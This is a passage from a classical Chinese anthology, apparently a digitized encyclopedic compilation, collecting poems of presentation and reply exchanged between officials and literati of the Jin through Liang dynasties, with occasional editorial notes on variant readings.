携 手 共 踌 躇 . 奚 用 遗 形 骸 . 忘 筌 在 得 鱼 .\n晋 潘 岳 为 贾 谧 赠 陆 机 诗 曰 . 神 农 更 生 . 轩 辕 承 纪 . 画 野 离 彊 . 爰 封 众 子 . 夏 殷 既 袭 . 宗 周 系 祀 . 绵 绵 瓜 瓞 . 六 国 互 峙 . 彊 秦 兼 并 . 吞 灭 四 隅 . 子 婴 面 榇 . 汉 祖 应 符 . ● 献 微 弱 . 在 涅 则 渝 . 三 雄 鼎 足 . 孙 启 南 吴 . 南 吴 伊 何 . 僭 号 称 王 . 大 晋 统 天 . 仁 风 遐 扬 . 伪 孙 衔 璧 . 奉 土 归 疆 . 婉 婉 长 离 . 陵 江 而 翔 . 长 离 云 谁 . 咨 余 陆 生 . 鹤 鸣 九 皋 . 犹 载 厥 声 . 况 乃 海 隅 . 播 名 上 京 . 爰 应 旌 招 . 抚 翼 紫 庭 . 蕃 岳 作 镇 . 辅 我 京 室 . 旋 及 桑 梓 . 帝 弟 作 弼 . 式 云 国 官 . 清 涂 攸 失 . 吾 子 洗 然 . 恬 淡 自 逸 . 廊 庙 惟 清 . 俊 乂 是 延 . 擢 应 嘉 举 . 自 国 而 迁 . 齐 辔 群 龙 . 光 赞 纳 言 . 优 游 省 闼 . 珥 笔 华 轩 . 昔 余 与 子 . 缱 绻 同 朝 . 脩 日 朗 月 . 携 手 逍 遥 . 自 我 离 群 . 二 周 于 今 . 虽 简 其 面 . 分 着 情 深 . 子 其 超 矣 . 实 慰 我 心 . 发 言 为 诗 . 望 俟 好 音 . 欲 崇 其 高 . 必 重 其 曾 . 在 南 称 甘 . 度 北 则 橙 . 崇 子 锋 颖 . 不 骞 不 崩 .\n晋 陆 机 答 贾 谧 诗 曰 . 先 天 创 物 . 景 命 是 膺 . 降 及 群 后 . 迭 毁 迭 兴 . 邈 矣 终 古 . 崇 替 有 征 . 在 汉 之 季 . 皇 纲 幅 裂 . 雄 臣 腾 骛 . 义 夫 赴 节 . 释 位 挥 戈 . 言 谋 王 室 . 王 室 之 乱 . 靡 邦 不 泯 . 如 彼 坠 景 . 曾 不 可 振 . 乃 眷 三 哲 . 俾 乂 斯 民 . 启 土 绥 难 . 改 物 承 天 . 天 厌 霸 德 . 皇 祚 告 衅 . 狱 讼 违 魏 . 讴 歌 逼 晋 . 陈 留 归 蕃 . 我 皇 登 禅 . 庸 崏 稽 颡 . 三 江 改 献 . 惟 公 太 宰 . 光 翼 二 祖 . 诞 育 洪 胄 . 纂 戎 于 鲁 . 昔 我 逮 兹 . 时 惟 下 僚 . 及 子 栖 迟 . 同 林 异 条 . 年 殊 志 密 . 服 舛 义 禂 . 游 跨 三 春 . 情 固 二 秋 . 祗 承 皇 命 . 出 纳 无 违 . 往 践 蕃 朝 . 来 步 紫 微 . 升 降 秘 阁 . 我 服 载 晖 . 孰 云 匪 惧 . 仰 肃 明 威 . 分 索 则 易 . 携 手 实 难 . 念 昔 良 游 . 兹 焉 永 叹 . 公 之 云 感 . 贻 此 音 翰 . 蔚 彼 高 藻 . 如 玉 如 兰 . 民 之 胥 好 . 指 狂 厉 圣 . 仪 形 在 昔 . 争 闻 子 命 .\n又 答 潘 尼 诗 曰 . 于 穆 同 心 . 如 琼 如 琳 . 我 东 日 徂 . 来 饯 其 琛 . 彼 美 潘 生 . 实 综 我 心 . 探 子 玉 怀 . 畴 尔 惠 音 .\n又 赠 冯 文 罴 诗 曰 . 嗟 我 人 斯 . 戢 翼 江 潭 . 有 命 集 上 . 翻 飞 自 南 . 出 彼 幽 谷 . 及 尔 同 林 . 双 情 交 映 . 遗 物 识 心 .\n又 赠 潘 尼 诗 曰 . 水 会 于 海 . 云 翔 于 天 . 道 之 所 混 . 孰 后 孰 先 . 及 子 虽 殊 . 同 升 太 玄 . 舍 彼 玄 冕 . 袭 此 云 冠 . 遗 情 市 朝 . 永 志 丘 园 . 静 犹 幽 谷 . 动 若 挥 兰 .\n又 赠 从 兄 车 骑 诗 曰 . 孤 兽 思 故 薮 . 离 鸟 悲 旧 林 . 翩 翩 游 宦 子 . 辛 苦 难 为 心 . 髣 佛 谷 水 阳 . 婉 娈 昆 山 阴 . 营 魄 怀 兹 土 . 精 爽 若 飞 沉 .\n又 赠 波 丘 令 冯 文 罴 诗 曰 . 夙 驾 出 东 城 . 送 子 临 江 曲 . 密 席 接 同 志 . 羽 觞 飞 酃 渌 . 登 楼 望 峻 陂 . 时 逝 一 何 速 .\n又 赠 纪 士 诗 曰 . 琼 瑰 俟 丰 价 . 窈 窕 不 自 鬻 . 有 美 蛾 眉 子 . 惠 音 清 且 淑 . 修 嫮 协 姝 丽 . 华 颜 婉 如 玉 .\n又 赠 顾 彦 先 诗 曰 . 清 夜 不 能 寐 . 悲 风 入 我 轩 . 立 影 对 孤 躯 . 哀 声 应 苦 言 .\n晋 傅 玄 答 程 晓 诗 曰 . 弈 弈 两 仪 . 昭 昭 太 阳 . 四 气 代 升 . 三 朝 受 祥 . 济 济 群 后 . 峨 峨 圣 皇 . 元 服 肇 御 . 配 天 垂 光 . 伊 周 作 弼 . 王 室 惟 康 . 颙 颙 兆 民 . 蠢 蠢 戎 膻 . 率 土 充 庭 . 万 国 奉 蕃 . 皇 泽 云 行 . 神 化 风 宣 . 六 合 咸 熙 . 遐 迩 同 欢 . 赫 赫 明 明 . 天 人 合 和 . 下 罔 遗 滞 . 焦 朽 斯 华 . 矧 我 良 朋 . 如 玉 之 嘉 . 穆 穆 雝 雝 . 兴 颂 作 歌 .\n又 答 程 晓 诗 曰 . 羲 和 运 玉 衡 . 招 摇 赋 朔 旬 . 嘉 庆 形 三 朝 . 美 德 扬 初 春 . 圣 主 加 元 服 . 万 国 望 威 神 . 伊 周 敷 玄 化 . 并 世 沾 天 人 . 洪 涯 歌 山 岫 . 许 由 嗟 水 滨 .\n又 傅 咸 赠 褚 武 良 诗 曰 . 爰 暨 于 褚 . 惟 晋 之 祯 . 肇 振 凤 翼 . 羽 仪 上 京 . 聿 作 喉 舌 . 纳 言 紫 庭 . 光 赞 帝 道 . 敷 皇 之 明 . 方 任 之 重 . 实 在 江 扬 . 乃 授 旄 钺 . 宣 曜 威 ● . 悠 悠 遐 迈 . 东 夏 于 征 .\n又 赠 建 平 太 守 李 叔 龙 诗 曰 . 弘 道 兴 化 . 实 在 良 守 . 悠 悠 建 平 . 皇 泽 未 流 . 朝 选 于 众 . 乃 子 之 授 . 南 荆 注 望 . 心 乎 克 副 .\n又 赠 太 尉 司 马 虞 显 机 诗 曰 . 帝 崇 元 淑 . 妙 选 其 属 . 命 子 是 佐 . 增 衮 之 缛 .\n又 赠 崔 伏 二 郎 诗 曰 . 英 妙 之 选 . 二 生 之 授 . 颙 颙 两 城 . 欢 德 之 茂 . 君 子 所 居 . 九 夷 非 陋 . 无 狭 百 里 . 而 不 垂 覆 . 人 之 好 我 . 赠 我 清 诗 . 示 我 周 行 . 心 与 道 期 . 诚 发 自 忠 . 义 形 于 辞 . 古 人 辞 谠 . 岂 不 尔 思 .\n又 与 尚 书 同 僚 诗 曰 . 非 望 之 宠 . 谬 加 于 己 . 猥 授 非 据 . 奄 司 万 里 . 煌 煌 朱 轩 . 服 骥 参 騄 . 晔 晔 初 延 . 肃 肃 臣 仆 . 晖 光 显 赫 . 众 目 所 属 . 斯 之 弗 称 . 匪 荣 伊 辱 . 质 弱 尚 甫 . 受 任 鹰 扬 . 德 非 樊 仲 . 王 命 是 将 . 百 城 或 违 . 无 能 有 匡 . 一 州 之 矜 . 将 弛 其 纲 . 得 意 忘 言 . 言 在 意 后 . 夫 惟 神 交 . 可 以 长 久 . 我 心 之 孚 . 有 盈 于 缶 . 与 子 阶 ○ 疑 当 作 偕 . 老 . 岂 曰 执 手 . 出 司 万 里 . 牧 彼 朔 滨 . 服 冕 乘 轩 . 六 辔 既 均 . 威 风 先 迈 . 百 城 肃 震 .\n又 答 潘 尼 诗 并 序 曰 . 司 州 秀 才 潘 正 叔 . 识 通 才 高 . 以 文 学 温 雅 为 博 士 . 余 性 直 而 处 清 论 褒 贬 之 任 . 作 诗 以 见 规 . 虽 褒 饰 之 举 . 非 所 敢 闻 . 而 斐 粲 之 辞 . 良 可 乐 也 . 答 之 虽 不 足 以 相 酬 报 . 所 盍 各 言 志 也 . 诗 曰 . 贻 我 妙 文 . 繁 春 之 荣 . 匪 荣 斯 尚 . 乃 新 其 声 . 吉 甫 作 颂 . 有 馥 其 馨 . 寔 由 樊 仲 . 其 德 克 明 . 授 此 瓦 砾 . 厕 彼 瑶 琼 . 贶 非 其 喻 . 闻 宠 若 惊 .\n又 答 栾 弘 诗 并 序 曰 . 安 乐 令 栾 弘 . 太 傅 钜 平 侯 羊 公 辟 . 未 就 而 公 薨 . 后 应 司 州 之 命 . 举 秀 才 . 博 文 通 济 之 士 . 余 失 和 于 府 . 当 换 为 护 军 司 马 . 赋 诗 见 赠 . 答 之 云 尔 . 钜 平 作 宰 . 是 贵 是 钦 . 弓 旌 仍 招 . 嘉 命 胥 寻 . 鸾 凤 养 仪 . 戢 翼 幽 林 . 未 附 雅 调 . 以 和 韶 音 . 钜 平 遐 逝 . 厉 志 弥 深 . 肃 肃 京 司 . 清 风 裁 迈 . 乃 延 群 彦 . 龙 集 凤 会 . 亦 既 斯 降 . 万 里 有 赖 . 声 发 响 应 . 好 结 倾 盖 .\n晋 潘 尼 答 傅 咸 诗 序 曰 . 司 徒 左 长 史 傅 长 虞 . 会 定 九 品 . 左 长 史 宜 得 其 才 . 屈 为 此 职 . 此 职 执 天 下 清 议 . 宰 割 百 国 . 而 长 虞 性 直 而 行 . 或 有 不 堪 . 余 与 之 亲 . 作 诗 以 规 焉 . 悠 悠 群 吏 . 非 子 不 整 . 嗷 嗷 众 议 . 非 子 不 靖 . 忽 荷 略 纽 . 握 纲 提 领 . 矫 矫 贞 臣 . 惟 国 之 屏 .\n又 赠 吴 王 郎 中 令 陆 士 衡 诗 曰 . 东 南 之 美 . 曩 惟 延 州 . 显 允 陆 生 . 于 今 斯 畴 . 振 鳞 南 海 . 濯 翼 洪 流 . 婆 娑 翰 林 . 容 与 坟 丘 . 玉 以 瑜 润 . 随 以 光 融 . 乃 渐 上 京 . 乃 仪 储 宫 . 玩 尔 清 藻 . 味 尔 芳 风 . 泳 之 弥 广 . 揖 之 弥 冲 . 昆 山 何 有 . 有 瑶 有 . 及 尔 同 僚 . 具 惟 近 臣 . 予 涉 素 秋 . 子 登 青 春 . 媿 无 老 成 . 厕 彼 日 新 . 祁 祁 大 邦 . 惟 桑 与 梓 . 穆 穆 伊 人 . 南 国 之 纪 . 帝 曰 尔 谐 . 惟 王 卿 士 . 俯 偻 从 命 . 奚 恤 奚 喜 .\n又 答 陆 士 衡 诗 曰 . 顾 兹 蓬 蔚 . 厕 根 兰 陂 . 膏 泽 虽 均 . 华 不 足 披 . 逮 春 不 茂 . 未 秋 先 萎 . 子 濯 鳞 翼 . 我 挫 羽 仪 . 愿 言 难 常 . 载 今 载 离 . 昔 游 禁 闼 . 祗 畏 夕 惕 . 今 放 丘 园 . 纵 心 夷 易 . 口 咏 新 诗 . 目 玩 文 迹 . 予 志 耕 圃 . 尔 勤 王 役 . 惭 无 琬 琰 . 以 酬 尺 璧 .\n又 赠 陇 西 太 守 张 仲 治 诗 曰 . 二 八 由 唐 显 . 周 以 多 士 隆 . 群 ● 感 韶 运 . 理 翮 应 翔 风 . 张 生 拔 幽 华 . 苹 蘩 登 二 宫 . 未 几 振 朱 锦 . 剖 符 抚 西 戎 . 及 子 仍 同 僚 . 赠 言 贻 尔 躬 . 威 刑 有 时 用 . 唯 德 可 念 终 .\n又 赠 刘 佐 诗 曰 . 要 言 将 谁 苦 . 聊 以 贻 友 生 . 念 我 二 三 贤 . 规 我 无 隐 情 .\n又 送 大 将 军 掾 卢 晏 诗 曰 . 赠 物 虽 陋 薄 . 识 意 在 忘 言 . 琼 琚 尚 交 好 . 桃 李 贵 往 还 . 萧 艾 苟 见 纳 . 贻 我 以 芳 兰 .\n又 赠 汲 郡 太 守 李 茂 彦 诗 曰 . 离 索 何 惆 怅 . 后 会 未 可 希 . 河 朔 贵 相 忘 . 歧 路 安 足 悲 .\n又 赠 长 安 令 刘 正 伯 诗 曰 . 游 鸾 凭 太 虚 . 腾 鳞 托 浮 霄 . 过 蒙 嘉 时 会 . 假 翼 陵 扶 摇 . 疲 惫 充 时 乏 . 及 余 再 同 寮 . 并 迹 侍 储 宫 . 携 手 登 皇 朝 . 刘 侯 抚 西 都 . 迈 绩 参 豹 乔 . 德 厚 化 必 深 . 政 明 奸 自 消 . 万 寻 由 积 匮 . 千 里 一 步 超 . 尔 其 骋 逸 轨 . 远 涂 固 可 要 .\n又 答 杨 士 安 诗 曰 . 逝 将 辞 储 宫 . 栖 迟 集 南 畿 . 不 百 里 贱 . 徒 惜 年 志 衰 . 踌 躇 顾 城 阙 . 怨 恋 慕 端 闱 . 俊 德 贻 妙 诗 . 敷 藻 发 清 徽 . 媿 彼 褒 崇 过 . 感 此 歧 路 悲 .\n又 赠 荣 阳 太 守 吴 子 仲 诗 曰 . 大 晋 盛 得 人 . 储 宫 畜 髦 士 . 吴 侯 降 高 质 . 剖 符 授 千 里 . 垂 覆 岂 他 乡 . 回 光 临 桑 梓 . 寮 类 感 歧 路 . 黎 庶 思 知 耻 . 老 氏 喻 小 鳞 . 曹 参 寄 狱 市 . 无 谓 弊 邑 陋 . 覆 篑 由 兹 起 .\n晋 张 载 赠 虞 显 度 诗 曰 . 畴 昔 协 兰 房 . 缱 绻 在 华 年 . 嘉 好 结 平 素 . 分 着 寮 友 前 . 谓 得 终 遐 日 . 绸 缪 永 周 旋 . 吾 子 遭 不 造 . 遘 闵 丁 忧 艰 . 俾 我 失 良 朋 . 谁 与 吐 话 言 . 一 日 为 三 秋 . 岁 况 乃 三 年 . 离 居 一 何 阔 . 结 思 如 回 川 .\n晋 石 崇 赠 枣 腆 诗 曰 . 久 官 无 成 绩 . 栖 迟 于 徐 方 . 寂 寂 守 空 城 . 悠 悠 思 故 乡 . 恂 恂 二 三 贤 . 身 远 屈 龙 光 . 携 手 沂 泗 闲 . 遂 登 舞 雩 堂 . 文 藻 譬 春 华 . 谈 话 由 兰 芳 . 消 忧 以 觞 醴 . 娱 耳 以 名 娼 . 博 弈 逞 妙 思 . 弓 矢 威 边 疆 .\n晋 司 马 彪 赠 山 涛 诗 曰 . 苕 苕 椅 梧 树 . 寄 生 于 南 岳 . 上 陵 青 云 霓 . 下 临 千 仞 谷 . 处 身 自 孤 危 . 于 何 托 余 足 . 晋 曹 摅 赠 石 崇 诗 曰 . 涓 涓 谷 中 泉 . 郁 郁 岩 下 林 . 泄 泄 群 翟 飞 . 咬 咬 春 鸟 吟 . 野 次 何 索 漠 . 薄 暮 愁 人 心 . 三 军 望 衡 盖 . 叹 息 有 余 音 . 临 肴 忘 肉 味 . 对 酒 不 能 斟 . 人 言 重 别 离 . 斯 情 效 于 今 .\n晋 刘 琨 赠 卢 谌 诗 曰 . 时 光 不 我 与 . 去 乎 若 云 浮 . 朱 实 陨 劲 风 . 繁 英 落 素 秋 . 狭 路 倾 华 盖 . 骇 驷 摧 双 辀 . 何 意 百 炼 刚 . 化 为 绕 指 柔 .\n又 重 赠 刘 琨 诗 ○ 按 本 诗 系 刘 琨 下 . 则 题 不 当 云 重 赠 刘 琨 . 疑 当 作 重 赠 卢 谌 . 此 有 讹 误 . 冯 惟 讷 晋 诗 纪 迳 改 作 卢 谌 诗 . 然 按 诗 义 . 乃 刘 答 卢 诗 . 疑 非 . 曰 . 璧 由 识 真 显 . 龙 因 庆 云 翔 . 茨 棘 非 所 憩 . 翰 飞 游 高 冈 . 余 音 非 九 韶 . 何 以 仪 凤 皇 . 新 城 非 芝 圃 . 曷 由 殖 兰 芳 .\n晋 卢 谌 答 刘 琨 诗 曰 . 随 宝 产 汉 滨 . 摛 此 夜 光 真 . 不 待 卞 和 显 . 自 为 命 世 珍 .\n晋 枣 腆 赠 石 季 伦 诗 曰 . 深 蒙 君 子 眷 . 雅 顾 出 群 俗 . 受 宝 取 诸 怀 . 所 赠 非 珠 玉 . 凡 我 二 三 子 . 执 手 携 玉 腕 . 嘉 言 从 所 好 . 企 予 结 云 汉 . 望 风 整 轻 翮 . 因 虚 举 双 翰 . 朝 游 清 渠 侧 . 日 夕 登 高 馆 .\n又 答 石 崇 诗 曰 . 昔 我 不 造 . 备 尝 颠 沛 . 后 土 倾 基 . 皇 天 陨 盖 . 少 怀 蒙 昧 . 长 无 耿 介 . 遗 训 莫 闻 . 出 入 靡 赖 . 我 舅 敷 命 . 于 彼 徐 方 . 载 咏 陟 岵 . 言 念 渭 阳 . 乃 溯 洪 流 . 泛 身 余 艎 . 宵 寝 晨 逝 . 曷 路 之 长 . 亦 既 至 止 . 愿 言 以 写 . 爰 有 石 侯 . 作 镇 东 夏 . 宽 以 抚 戎 . 从 容 柔 雅 . 我 闻 有 言 . 居 安 思 危 . 位 极 则 迁 . 势 至 必 移 . 上 德 无 欲 . 贵 道 不 为 . 妙 识 先 觉 . 通 梦 皇 羲 . 窃 睹 堂 奥 . 钦 蹈 明 规 .\n晋 挚 虞 答 杜 育 诗 曰 . 越 有 杜 生 . 既 文 且 哲 . 龙 跃 颖 豫 . 有 声 彰 澈 . 赖 兹 三 益 . 如 琼 如 切 . 好 以 义 结 . 友 以 文 会 . 岂 伊 在 高 . 分 定 倾 盖 . 其 人 如 玉 . 美 彼 生 刍 . 钟 鼓 匪 乐 . 安 用 百 壶 . 老 夫 灌 灌 . 离 群 索 居 . 怀 恋 结 好 . 心 焉 恨 如 .\n晋 欧 阳 建 答 枣 腆 诗 曰 . 于 铄 我 舅 . 明 德 塞 违 . 俾 扞 东 藩 . 在 徐 之 邳 . 载 播 其 惠 . 载 扬 其 威 . 济 宽 以 猛 . 方 夏 以 绥 . 光 启 先 业 . 增 曜 重 晖 . 咨 余 冲 人 . 艰 苦 攸 离 . 过 庭 无 闻 . 顽 固 匪 移 . 寔 赖 兹 诲 . 导 之 轨 仪 . 仰 遵 嘉 训 . 俯 蹈 明 规 . 如 葛 斯 蔓 . 如 樛 斯 垂 . 我 遘 君 子 . 仰 之 弥 高 . 岩 岩 其 高 . 即 之 惟 温 . 居 盈 思 冲 . 在 贵 忘 尊 . 纵 酒 嘉 宴 . 自 明 及 昏 . 无 幽 不 妍 . 靡 奥 不 论 . 人 乐 其 量 . 士 感 其 敦 .\n晋 石 崇 答 枣 腆 诗 曰 . 言 念 将 别 . 睹 物 伤 情 . 赠 尔 话 言 . 要 在 遗 名 . 唯 此 遗 名 . 可 以 全 生 .\n晋 . 杜 育 赠 挚 仲 治 诗 曰 . 之 子 于 归 . 言 秣 其 驹 . 矧 乃 斯 人 . 乃 迈 乃 徂 . 虽 非 显 甫 . 饯 彼 百 壶 . 虽 非 张 仲 . 将 脍 河 鱼 . 人 亦 有 言 . 贵 在 同 音 . 虽 曰 翻 飞 . 曾 未 异 林 . 顾 恋 同 枝 . 增 其 慨 心 . 望 尔 不 遐 . 无 金 玉 音 .\n晋 枣 据 答 阮 德 猷 诗 曰 . 有 朋 顾 之 . 贻 我 良 箴 . 玩 之 无 斁 . 终 咏 斯 音 . 燕 鼎 在 舟 . 虽 重 不 沉 . 庶 凭 嘉 谟 . 高 迹 可 寻 .\n宋 颜 延 之 赠 王 太 常 僧 达 诗 曰 . 玉 水 记 方 流 . 琁 源 载 圆 折 . 蓄 宝 每 希 声 . 虽 秘 犹 彰 澈 . 聆 龙 ● 九 州 . 闻 凤 窥 丹 穴 . 历 听 岂 多 士 . 唯 然 觏 时 哲 . 舒 文 广 国 华 . 敷 言 远 朝 烈 . 德 辉 灼 邦 茂 . 芳 风 被 乡 耋 . 侧 同 幽 人 居 . 郊 扉 常 昼 ● . 林 闾 时 晏 开 . 亟 回 长 者 辙 . 庭 昏 见 野 阴 . 山 明 望 松 雪 . 静 惟 浃 群 化 . 徂 生 入 穷 节 . 豫 往 诚 欢 聚 . 悲 来 非 乐 阕 . 属 美 谢 繁 翰 . 遥 怀 具 短 札 .\n又 直 东 宫 答 郑 尚 书 道 子 诗 曰 . 皇 居 体 寰 极 . 设 险 协 天 功 . 两 闱 阻 通 轨 . 对 禁 阻 ○ 文 选 二 十 六 作 限 . 清 风 .\n宋 鲍 昭 赠 顾 墨 曹 诗 曰 . 昏 明 易 远 . 离 会 难 揆 . 云 撤 泉 分 . 西 舻 东 轨 .\n宋 鲍 令 晖 题 书 寄 行 人 诗 曰 . 自 君 之 出 矣 . 临 轩 不 解 颜 . 砧 杵 夜 不 发 . 高 门 昼 恒 关 . 帐 中 流 熠 燿 . 庭 前 华 紫 兰 . 物 枯 识 节 异 . 鸿 来 知 客 寒 .\n又 寄 行 人 诗 曰 . 桂 吐 两 三 枝 . 兰 开 四 五 叶 . 是 时 君 不 归 . 春 风 徒 笑 妾 .\n齐 王 俭 赠 徐 孝 嗣 诗 曰 . 婉 婉 游 龙 . 载 游 载 东 . 靡 靡 行 云 . 并 跃 齐 踪 . 无 类 不 感 . 有 来 斯 雍 . 之 子 云 迈 . 嗟 我 莫 从 . 岁 云 暮 止 . 述 职 戒 行 . 崇 兰 罢 秀 . 孤 松 独 贞 . 悲 风 宵 远 . 乘 雁 晨 征 . 抚 物 遐 想 . 念 别 书 情 .\n齐 徐 孝 嗣 答 王 俭 诗 曰 . 书 帷 停 月 . 琴 袖 承 飙 . 结 芳 幽 谷 . 解 佩 明 椒 . 去 德 滋 永 . 怀 德 滋 深 . 行 云 传 想 . 归 鸿 寄 音 .\n又 齐 王 融 赠 族 叔 卫 军 诗 曰 . 台 曜 澄 华 . 铉 岳 裁 峻 . 经 天 为 象 . 丽 地 作 镇 . 不 器 其 德 . 有 匪 斯 文 . 质 起 瑚 琏 . 才 逸 卿 云 . 摇 笔 泉 泻 . 动 咏 霙 纷 . 德 馨 伊 何 . 如 兰 之 宣 . 贞 筠 抽 箭 . 润 璧 怀 山 . 六 乐 毕 该 . 五 礼 备 贯 . 七 训 是 敷 . 三 英 有 粲 . 惟 旦 惟 公 . 惟 公 惟 旦 .\n齐 谢 朓 夜 发 新 林 至 京 邑 诗 . 赠 西 府 同 僚 . 大 江 流 日 夜 . 客 心 悲 未 央 . 徒 望 关 山 近 . 终 知 返 路 长 . 秋 河 曙 耿 耿 . 寒 渚 夜 苍 苍 . 引 领 望 京 邑 . 宫 雉 正 相 望 . 金 波 丽 鳷 鹊 . 玉 绳 低 建 章 . 驱 车 鼎 门 外 . 思 见 昭 丘 阳 . 池 晖 不 可 接 . 何 况 隔 两 乡 . 风 烟 有 鸟 路 . 江 汉 限 无 梁 . 常 恐 鹰 隼 击 . 时 菊 委 严 霜 . 寄 言 罻 罗 者 . 寥 廓 已 高 翔 .\n又 在 郡 呈 沈 尚 书 诗 曰 . 淮 阳 股 肱 守 . 高 卧 犹 在 兹 . 况 复 南 山 曲 . 何 异 幽 栖 时 . 高 合 常 昼 掩 . 荒 阶 少 诤 词 . 珍 簟 清 夏 室 . 轻 扇 动 凉 飔 . 夏 李 沉 朱 实 . 秋 藕 折 轻 丝 . 良 辰 竟 何 许 . 夙 昔 梦 佳 期 . 坐 啸 徒 可 积 . 为 邦 岁 已 期 .\n齐 陆 厥 奉 答 内 兄 顾 希 叔 诗 曰 . 平 原 十 日 饮 . 中 散 千 里 游 . 渤 海 方 流 滞 . 宜 城 谁 献 酬 . 屏 居 南 山 下 . 临 此 岁 方 秋 . 惜 哉 时 不 与 . 日 暮 无 轻 舟 .\n梁 简 文 帝 赠 张 缵 诗 曰 . 仪 表 咸 推 挹 . 墙 仞 难 窥 践 . 既 富 垂 帷 学 . 复 折 波 涛 辩 . 绮 思 暧 霞 飞 . 清 文 焕 飙 转 . 宋 旗 赫 容 与 . 雕 棨 纷 曜 煜 . 波 摇 白 鳢 舟 . 风 动 苍 鹰 舳 . 九 嶷 势 参 差 . 江 天 相 蔽 亏 . 三 春 澧 浦 叶 . 九 月 洞 庭 枝 . 洞 庭 枝 褭 娜 . 澧 浦 叶 参 差 . 芬 芳 与 摇 落 . 俱 应 伤 别 离 .\n梁 沈 约 酬 谢 宣 城 朓 诗 曰 . 王 乔 飞 凫 . 东 方 金 马 门 . 从 宦 非 宦 侣 . 避 世 非 避 喧 . 揆 予 发 皇 鉴 . 短 羽 屡 飞 翻 . 晨 趋 朝 建 礼 . 晚 沐 卧 郊 园 . 宾 至 下 尘 榻 . 忧 来 命 绿 樽 . 昔 贤 侔 时 雨 . 今 守 馥 兰 荪 . 神 交 疲 梦 寐 . 路 远 隔 思 存 .\n又 酬 孔 通 直 怀 蓬 居 诗 曰 . 阊 阖 既 洞 启 . 龙 楼 亦 高 辟 . 两 宫 集 鸾 步 . 二 闼 引 通 籍 . 伊 迩 事 清 涂 . 纷 吾 供 贱 役 .\n梁 任 昉 答 刘 孝 绰 诗 曰 . 阅 水 既 成 澜 . 藏 舟 遂 移 壑 . 彼 美 洛 阳 子 . 投 我 怀 秋 作 . 久 敬 类 诚 言 . 吹 嘘 似 嘲 谑 . 兼 称 夏 云 尽 . 复 陈 秋 树 索 . 讵 慰 耋 嗟 人 . 徒 深 老 夫 托 .\n梁 范 云 赠 沈 左 卫 诗 曰 . 伊 昔 沾 嘉 惠 . 出 入 承 明 宫 . 游 息 万 年 下 . 经 过 九 龙 中 . 越 鸟 憎 北 树 . 胡 马 畏 南 风 . 愿 言 反 渔 蓨 . 津 梁 肯 见 通 .\n梁 刘 孝 绰 答 张 左 西 诗 曰 . 相 思 如 三 月 . 相 望 非 两 宫 . 持 此 连 枝 树 . 暂 作 背 飞 鸿 . 若 人 惠 思 我 . 摛 藻 蔚 雕 虫 . 仙 掌 方 晞 露 . ● 乌 正 转 风 . 方 假 排 虚 翮 . 相 与 北 山 藂 .\n又 赠 任 中 丞 诗 曰 . 步 出 金 华 省 . 遥 望 承 明 庐 . 壮 哉 宛 洛 地 . 佳 丽 实 皇 居 . 虹 蜺 拖 飞 阁 . 兰 芷 覆 清 渠 . 白 云 夏 峰 尽 . 青 槐 秋 叶 疏 . 但 愿 长 闲 暇 . 酌 醴 焚 枯 鱼 .\n梁 王 僧 孺 赠 顾 仓 曹 诗 . 洛 阳 十 二 门 . 楼 阙 似 西 昆 . 暧 暧 罘 罳 下 . 想 望 隔 画 垣 . 画 垣 向 阿 阁 . 栖 凤 复 栖 鸳 . 五 曹 均 趍 奏 . 六 尚 等 便 烦 . 朝 炉 何 馥 馥 . 夜 锦 有 余 温 . 日 中 驱 上 驷 . 骧 首 遍 京 宛 . 晨 趍 魏 公 子 . 夕 宿 韩 王 孙 . 夙 昔 今 何 在 . 生 平 弃 不 论 . 譬 如 卷 葹 草 . 心 谢 叶 空 存 . 谁 复 三 承 ● . 独 念 九 飞 魂 . 又 秋 日 愁 居 答 孔 主 簿 诗 曰 . 首 夏 云 物 善 . 尽 暑 旦 犹 清 . 日 华 随 水 泛 . 树 影 逐 风 轻 . 依 帘 野 马 合 . 当 户 昔 耶 生 . 物 我 一 无 际 . 人 鸟 不 相 惊 . 傥 遇 北 山 北 . 聊 访 法 乔 卿 .\n又 寄 何 记 室 诗 曰 . 思 君 不 得 见 . 望 望 独 长 嗟 . 夜 风 入 寒 水 . 晓 露 拂 秋 花 . 何 由 假 日 御 . 暂 得 寄 风 车 .\n梁 王 筠 寓 直 中 庶 坊 赠 萧 洗 马 诗 曰 . 龙 楼 实 九 重 . 薄 寒 起 殊 早 . 玉 阶 泣 清 露 . 铜 池 结 秋 潦 . 霜 被 守 宫 槐 . 风 惊 护 门 草 . 之 子 擅 文 华 . 纵 横 富 辞 藻 . 舒 锦 惭 光 丽 . 握 珠 谢 奇 宝 . 媿 予 非 工 文 . 何 用 披 怀 抱 .\n又 东 阳 还 经 严 陵 濑 赠 萧 大 夫 诗 曰 . 子 陵 徇 高 尚 . 超 然 独 长 往 . 钓 石 宛 如 新 . 故 态 依 可 想 .\n梁 裴 子 野 答 张 贞 成 皋 诗 曰 . 匈 奴 时 未 灭 . 连 年 被 甲 兵 . 明 君 思 将 帅 . 方 听 鼓 鞞 声 . 吾 生 姿 逸 翮 . 抚 剑 起 徂 征 . 非 徒 慕 辛 李 . 聊 欲 逞 良 平 . 出 车 既 方 轨 . 绝 幕 且 横 行 . 岂 伊 长 缨 系 . 行 见 黄 河 清 . 虽 令 懦 夫 勇 . 念 别 犹 有 情 . 感 子 盈 编 赠 . 握 玩 以 为 荣 . 改 予 振 旅 凯 . 含 毫 备 勒 铭 . 梁 萧 子 云 赠 海 法 师 还 甑 山 诗 曰 . 直 心 好 丘 壑 . 偏 悦 幽 栖 人 . 忽 闻 甑 山 旅 . 万 里 自 相 亲 . 泬 寥 晚 霖 霁 . 重 叠 晴 云 新 . 秋 至 蝉 鸣 柳 . 风 高 露 起 尘 . 动 予 忆 山 思 . 惆 怅 惜 荷 巾 .\n又 寒 夜 直 坊 忆 袁 三 公 诗 曰 . 滴 滴 雨 鸣 阶 . 愔 愔 兹 夜 静 . 风 落 宣 猷 树 . 寒 凋 承 光 屏 . 高 帷 独 晓 垂 . 华 烛 夜 空 冷 . 所 思 不 相 见 . 方 知 寒 漏 永 .\n又 东 郊 望 春 酬 王 建 安 俊 晚 游 诗 曰 . 金 塘 绿 泉 满 . 上 园 梨 橤 落 . 蛱 蝶 恋 残 花 . 黄 鹦 对 妖 萼 . 芳 菲 满 郊 甸 . 惠 气 生 兰 薄 . 子 家 冠 盖 里 . 我 馆 幽 栖 郭 . 绿 杨 垂 长 溪 . 便 桥 限 清 洛 . 相 去 能 几 许 . 一 水 终 疏 索 .\n梁 柳 恽 赠 吴 筠 诗 曰 . 寒 云 晦 沧 洲 . 奔 潮 溢 南 浦 . 